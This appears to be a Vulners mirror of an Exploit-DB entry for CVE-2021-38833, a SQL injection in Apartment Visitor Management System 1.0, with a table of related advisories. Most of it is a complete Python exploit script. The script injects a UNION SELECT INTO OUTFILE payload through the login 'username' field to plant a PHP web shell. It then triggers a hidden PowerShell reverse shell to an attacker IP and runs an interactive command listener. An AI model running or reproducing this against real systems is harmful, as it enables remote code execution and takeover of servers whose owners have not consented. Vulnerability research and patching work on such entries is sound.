Lucene search
+L

Apartment Visitor Management System (AVMS) 1.0 - 'username' SQL Injection (SQLi)

🗓️ 13 Sep 2021 00:00:00Reported by mari0x00Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 311 Views

Apartment Visitor Management System 1.0 SQL Injection vulnerability - AVMS RC

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-38833
13 Sep 202119:15
–attackerkb
circl
Circl
CVE-2021-38833
13 Sep 202122:14
–circl
cnnvd
CNNVD
PHPGurukul Apartment Visitors Management System SQL Injection Vulnerability
13 Sep 202100:00
–cnnvd
cnvd
CNVD
PHPGurukul Apartment Visitors Management System SQL Injection Vulnerability
15 Sep 202100:00
–cnvd
cve
CVE
CVE-2021-38833
13 Sep 202117:09
–cve
cvelist
Cvelist
CVE-2021-38833
13 Sep 202117:09
–cvelist
euvd
EUVD
EUVD-2021-25270
7 Oct 202500:30
–euvd
kitploit
Kitploit
CVE-mitre
3 Dec 202619:48
–kitploit
kitploit
Kitploit
CVE-nu11secur1ty
2 Dec 202601:21
–kitploit
kitploit
Kitploit
Windows10Exploits
3 Dec 202621:18
–kitploit
Rows per page
#!/usr/bin/python3
# Exploit Title: Apartment Visitor Management System (AVMS) 1.0 - 'username' SQL Injection
# Date: 2021-08-13
# Exploit Author: mari0x00
# Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395
# Version: 1.0
# Tested on: Windows 10 + XAMPP


import requests, socket, threading
import base64, time, sys

print(('''###########################################################''',"red"))
print(('''###########    AVMS SQLi to RCE by mari0x00    ############''',"red"))
print(('''###########################################################''',"red"))
print("")

URL = input("Provide URL for AVMS (e.g. 'http://localhost/avms/'): ") or 'http://localhost/avms/'
path = input("Provide path for shell upload (default 'C:\\xampp\\htdocs\\avms\\lol.php'): ") or 'C:\\xampp\\htdocs\\avms\\lol.php'
path = path.replace("\\", "\\\\")
rhost = input("Provide attacker IP: ") or "127.0.0.1"
rport = input("Provide attacker listening port: ") or "1337"


# sending webshell
payload = {"username": "admin' union select '<?php system(base64_decode($_GET[\"cmd\"]));?>' into outfile '" + path + "' -- 'a", "password": "test", "login": ''}
requests.post(URL, data=payload)


def shell(rhost, rport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((rhost, int(rport)))
    except socket.error as msg:
        print("Bind failed. Error Code : " + str(msg[0]) + " Message " + msg[1])
        sys.exit()

    s.settimeout(5)
    s.listen(5)
    print('[+] Waiting for connection..')

    conn = False
    command=''

    while conn == False:
        try:
            conn, addr = s.accept()
            print("Got a connection from " + addr[0] + ":" + str(addr[1]))
            conn.send('\n'.encode())
            time.sleep(1)
            print(conn.recv(0x10000).decode())
            while(command != 'exit'):
                command=input('')
                conn.send((command + '\n').encode())
                time.sleep(.3)
                res = conn.recv(0x10000)
                print(res.decode())
            s.close()
            sys.exit("[!] Program exited")
        except socket.timeout:
            pass


def start_shell(rhost, rport):
    revshell = "powershell -nop -NonI -W Hidden -Exec Bypass -c \"$client = New-Object System.Net.Sockets.TCPClient('" + rhost + "'," + rport + ");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
    revshell = revshell.encode('ascii')
    revshell = base64.b64encode(revshell)
    revshell = revshell.decode('ascii')
    connection = requests.get(URL+"/lol.php?cmd=" + revshell)

print("[+] Starting to listen on port " + rport)
time.sleep(0.5)
threading.Thread(target=shell, args=(rhost, rport)).start()
time.sleep(2)
print("[+] Sending the reverse shell payload")
threading.Thread(target=start_shell, args=(rhost, rport)).start()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation